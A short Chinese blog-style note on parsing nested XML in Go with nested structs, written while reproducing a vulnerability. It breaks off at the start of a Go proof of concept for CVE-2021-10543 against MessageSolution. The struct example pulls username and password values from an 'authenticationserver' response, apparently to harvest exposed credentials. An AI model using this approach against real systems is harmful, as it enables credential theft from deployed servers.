复现漏洞的时候遇到了xml解析问题
之前没搞过记录一下
一个xml在线格式化网站(https://tool.oschina.net/codeformat/xml)
对于go语言解析xml需要用到结构体
而图中的xml有两层嵌套
就需要通过结构体来套结构体实现解析
以上图为例
第一层结构体
type 第一层 struct{
//第一层的xml入口
XMLName xml.Name `xml:"authenticationserver"`
//对应解析server
Server Seconding(第二层结构体的名称) `xml:"server"`
}
第二层结构体
type 第二层 struct{
//第二层入口有需要添加
//对应需要解析的位置
Username string `xml:"username"`
Password string `xml:"password"`
}
对应的本次复现的CVE-2021-10543
package main
import (
"crypto/tls"
"encoding/xml"
"fmt"
"io/ioutil"
"net/http"
"os"
"time"
)
/*
CVE-2021-10543 poc
访问MessageSolution目标的/authenticat